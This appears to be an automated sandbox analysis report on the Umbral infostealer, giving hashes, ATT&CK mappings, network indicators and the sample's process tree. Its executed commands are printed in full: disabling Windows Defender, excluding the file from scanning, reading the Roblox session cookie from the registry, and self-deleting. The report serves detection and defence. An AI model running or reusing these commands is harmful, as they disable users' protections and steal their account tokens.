umbral | 0d0f238dfc7639c39bbd97db3e29bc62f5da11b5242ce594eafef6c5ebc15b30

Analysis

max time kernel
147s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240221-en
resource tags

arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
submitted
21-02-2024 18:44

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General

Target

Umbral1.exe
Size

231KB
MD5

8b87bf1f0e629ac52ed3ea11d93e2985
SHA1

e89c68857a7478e1fe5a0846ef637284e1603bc6
SHA256

0d0f238dfc7639c39bbd97db3e29bc62f5da11b5242ce594eafef6c5ebc15b30
SHA512

d431b338536a879bf6ea50142936a8d05b4ebc5785a53e35f28a0f393744d17d987a0d63597a13273a9f36308537c6e23c02f197447f4a72a911dda715651180
SSDEEP

6144:xloZM9rIkd8g+EtXHkv/iD41FRzAmB5KG/Cwhl0OGb8e1mOSi:DoZOL+EP81FRzAmB5KG/Cwhl0NN

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4784-0-0x000001AAA6740000-0x000001AAA6780000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral1.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
26	discord.com
27	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5076	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1616	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4476	powershell.exe
4476	powershell.exe
3988	powershell.exe
3988	powershell.exe
760	powershell.exe
760	powershell.exe
2204	powershell.exe
2204	powershell.exe
112	powershell.exe
112	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4784	Umbral1.exe
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeDebugPrivilege	3988	powershell.exe
Token: SeDebugPrivilege	760	powershell.exe
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeIncreaseQuotaPrivilege	1412	wmic.exe
Token: SeSecurityPrivilege	1412	wmic.exe
Token: SeTakeOwnershipPrivilege	1412	wmic.exe
Token: SeLoadDriverPrivilege	1412	wmic.exe
Token: SeSystemProfilePrivilege	1412	wmic.exe
Token: SeSystemtimePrivilege	1412	wmic.exe
Token: SeProfSingleProcessPrivilege	1412	wmic.exe
Token: SeIncBasePriorityPrivilege	1412	wmic.exe
Token: SeCreatePagefilePrivilege	1412	wmic.exe
Token: SeBackupPrivilege	1412	wmic.exe
Token: SeRestorePrivilege	1412	wmic.exe
Token: SeShutdownPrivilege	1412	wmic.exe
Token: SeDebugPrivilege	1412	wmic.exe
Token: SeSystemEnvironmentPrivilege	1412	wmic.exe
Token: SeRemoteShutdownPrivilege	1412	wmic.exe
Token: SeUndockPrivilege	1412	wmic.exe
Token: SeManageVolumePrivilege	1412	wmic.exe
Token: 33	1412	wmic.exe
Token: 34	1412	wmic.exe
Token: 35	1412	wmic.exe
Token: 36	1412	wmic.exe
Token: SeIncreaseQuotaPrivilege	1412	wmic.exe
Token: SeSecurityPrivilege	1412	wmic.exe
Token: SeTakeOwnershipPrivilege	1412	wmic.exe
Token: SeLoadDriverPrivilege	1412	wmic.exe
Token: SeSystemProfilePrivilege	1412	wmic.exe
Token: SeSystemtimePrivilege	1412	wmic.exe
Token: SeProfSingleProcessPrivilege	1412	wmic.exe
Token: SeIncBasePriorityPrivilege	1412	wmic.exe
Token: SeCreatePagefilePrivilege	1412	wmic.exe
Token: SeBackupPrivilege	1412	wmic.exe
Token: SeRestorePrivilege	1412	wmic.exe
Token: SeShutdownPrivilege	1412	wmic.exe
Token: SeDebugPrivilege	1412	wmic.exe
Token: SeSystemEnvironmentPrivilege	1412	wmic.exe
Token: SeRemoteShutdownPrivilege	1412	wmic.exe
Token: SeUndockPrivilege	1412	wmic.exe
Token: SeManageVolumePrivilege	1412	wmic.exe
Token: 33	1412	wmic.exe
Token: 34	1412	wmic.exe
Token: 35	1412	wmic.exe
Token: 36	1412	wmic.exe
Token: SeIncreaseQuotaPrivilege	1640	wmic.exe
Token: SeSecurityPrivilege	1640	wmic.exe
Token: SeTakeOwnershipPrivilege	1640	wmic.exe
Token: SeLoadDriverPrivilege	1640	wmic.exe
Token: SeSystemProfilePrivilege	1640	wmic.exe
Token: SeSystemtimePrivilege	1640	wmic.exe
Token: SeProfSingleProcessPrivilege	1640	wmic.exe
Token: SeIncBasePriorityPrivilege	1640	wmic.exe
Token: SeCreatePagefilePrivilege	1640	wmic.exe
Token: SeBackupPrivilege	1640	wmic.exe
Token: SeRestorePrivilege	1640	wmic.exe
Token: SeShutdownPrivilege	1640	wmic.exe
Token: SeDebugPrivilege	1640	wmic.exe
Token: SeSystemEnvironmentPrivilege	1640	wmic.exe
Token: SeRemoteShutdownPrivilege	1640	wmic.exe
Token: SeUndockPrivilege	1640	wmic.exe
Token: SeManageVolumePrivilege	1640	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4784 wrote to memory of 3004	4784	Umbral1.exe	87
PID 4784 wrote to memory of 3004	4784	Umbral1.exe	87
PID 4784 wrote to memory of 4476	4784	Umbral1.exe	89
PID 4784 wrote to memory of 4476	4784	Umbral1.exe	89
PID 4784 wrote to memory of 3988	4784	Umbral1.exe	92
PID 4784 wrote to memory of 3988	4784	Umbral1.exe	92
PID 4784 wrote to memory of 760	4784	Umbral1.exe	95
PID 4784 wrote to memory of 760	4784	Umbral1.exe	95
PID 4784 wrote to memory of 2204	4784	Umbral1.exe	97
PID 4784 wrote to memory of 2204	4784	Umbral1.exe	97
PID 4784 wrote to memory of 1412	4784	Umbral1.exe	100
PID 4784 wrote to memory of 1412	4784	Umbral1.exe	100
PID 4784 wrote to memory of 1640	4784	Umbral1.exe	103
PID 4784 wrote to memory of 1640	4784	Umbral1.exe	103
PID 4784 wrote to memory of 4020	4784	Umbral1.exe	105
PID 4784 wrote to memory of 4020	4784	Umbral1.exe	105
PID 4784 wrote to memory of 112	4784	Umbral1.exe	107
PID 4784 wrote to memory of 112	4784	Umbral1.exe	107
PID 4784 wrote to memory of 5076	4784	Umbral1.exe	109
PID 4784 wrote to memory of 5076	4784	Umbral1.exe	109
PID 4784 wrote to memory of 1668	4784	Umbral1.exe	111
PID 4784 wrote to memory of 1668	4784	Umbral1.exe	111
PID 1668 wrote to memory of 1616	1668	cmd.exe	113
PID 1668 wrote to memory of 1616	1668	cmd.exe	113

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3004	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral1.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral1.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4784
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral1.exe"
  2⤵
  - Views/modifies file attributes
  PID:3004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral1.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2204
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1412
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1640
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:112
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:5076
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral1.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:1616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9c050c8de86cf08af2fe4446e0f0a0ff

SHA1
656efd6ee2c703c17653f6f6b2fd72c47a5073fa

SHA256
e073bec2d86d6276c6e693c8359825eec1dcae543b37942581edfac685520b26

SHA512
56d9a9184995c930615c232a8e0b7618d3ad0c096e9b93d0f415ac787079c2f5a015af9a3169a3cc46b2ebef8a0b4c8a993d8ba645703a29f0f72a6cfd1bb28f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
985b3105d8889886d6fd953575c54e08

SHA1
0f9a041240a344d82bac0a180520e7982c15f3cd

SHA256
5178fdd457eb3eb25c8f72ed4c22c582a83de0d324db66d0446d660f226e944d

SHA512
0fd59bc4886b70aa3b7eeeaa23229b7fdc93410ca7f8452860e4a1bbda2559eaa5e4b05c3ec2d85f7d648daf3c16741f4c2c18f2dd3bae4cc4a4e57ae4f665b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d3235ed022a42ec4338123ab87144afa

SHA1
5058608bc0deb720a585a2304a8f7cf63a50a315

SHA256
10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

SHA512
236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dkxldqvq.gk2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/112-106-0x00007FF867300000-0x00007FF867DC1000-memory.dmp

Filesize
10.8MB

Download
memory/112-104-0x0000019532280000-0x0000019532290000-memory.dmp

Filesize
64KB

Download
memory/112-103-0x0000019532280000-0x0000019532290000-memory.dmp

Filesize
64KB

Download
memory/112-101-0x00007FF867300000-0x00007FF867DC1000-memory.dmp

Filesize
10.8MB

Download
memory/760-44-0x0000015C795C0000-0x0000015C795D0000-memory.dmp

Filesize
64KB

Download
memory/760-45-0x0000015C795C0000-0x0000015C795D0000-memory.dmp

Filesize
64KB

Download
memory/760-70-0x00007FF867300000-0x00007FF867DC1000-memory.dmp

Filesize
10.8MB

Download
memory/760-43-0x00007FF867300000-0x00007FF867DC1000-memory.dmp

Filesize
10.8MB

Download
memory/760-60-0x0000015C795C0000-0x0000015C795D0000-memory.dmp

Filesize
64KB

Download
memory/2204-73-0x00000257A4610000-0x00000257A4620000-memory.dmp

Filesize
64KB

Download
memory/2204-84-0x00000257A4610000-0x00000257A4620000-memory.dmp

Filesize
64KB

Download
memory/2204-86-0x00007FF867300000-0x00007FF867DC1000-memory.dmp

Filesize
10.8MB

Download
memory/2204-72-0x00007FF867300000-0x00007FF867DC1000-memory.dmp

Filesize
10.8MB

Download
memory/3988-21-0x000001D147510000-0x000001D147520000-memory.dmp

Filesize
64KB

Download
memory/3988-37-0x00007FF867300000-0x00007FF867DC1000-memory.dmp

Filesize
10.8MB

Download
memory/3988-35-0x000001D147510000-0x000001D147520000-memory.dmp

Filesize
64KB

Download
memory/3988-33-0x000001D147510000-0x000001D147520000-memory.dmp

Filesize
64KB

Download
memory/3988-28-0x000001D147510000-0x000001D147520000-memory.dmp

Filesize
64KB

Download
memory/3988-20-0x00007FF867300000-0x00007FF867DC1000-memory.dmp

Filesize
10.8MB

Download
memory/4476-19-0x00007FF867300000-0x00007FF867DC1000-memory.dmp

Filesize
10.8MB

Download
memory/4476-3-0x00007FF867300000-0x00007FF867DC1000-memory.dmp

Filesize
10.8MB

Download
memory/4476-4-0x000002C4BC270000-0x000002C4BC292000-memory.dmp

Filesize
136KB

Download
memory/4476-5-0x000002C4BC2B0000-0x000002C4BC2C0000-memory.dmp

Filesize
64KB

Download
memory/4476-11-0x000002C4BC2B0000-0x000002C4BC2C0000-memory.dmp

Filesize
64KB

Download
memory/4476-16-0x000002C4BC2B0000-0x000002C4BC2C0000-memory.dmp

Filesize
64KB

Download
memory/4476-17-0x000002C4BC2B0000-0x000002C4BC2C0000-memory.dmp

Filesize
64KB

Download
memory/4784-0-0x000001AAA6740000-0x000001AAA6780000-memory.dmp

Filesize
256KB

Download
memory/4784-34-0x00007FF867300000-0x00007FF867DC1000-memory.dmp

Filesize
10.8MB

Download
memory/4784-71-0x000001AAA8480000-0x000001AAA8490000-memory.dmp

Filesize
64KB

Download
memory/4784-88-0x000001AAC0E80000-0x000001AAC0E8A000-memory.dmp

Filesize
40KB

Download
memory/4784-89-0x000001AAC1030000-0x000001AAC1042000-memory.dmp

Filesize
72KB

Download
memory/4784-40-0x000001AAC0EB0000-0x000001AAC0F26000-memory.dmp

Filesize
472KB

Download
memory/4784-42-0x000001AAA84E0000-0x000001AAA84FE000-memory.dmp

Filesize
120KB

Download
memory/4784-41-0x000001AAC0E30000-0x000001AAC0E80000-memory.dmp

Filesize
320KB

Download
memory/4784-2-0x000001AAA8480000-0x000001AAA8490000-memory.dmp

Filesize
64KB

Download
memory/4784-1-0x00007FF867300000-0x00007FF867DC1000-memory.dmp

Filesize
10.8MB

Download
memory/4784-111-0x00007FF867300000-0x00007FF867DC1000-memory.dmp

Filesize
10.8MB

Download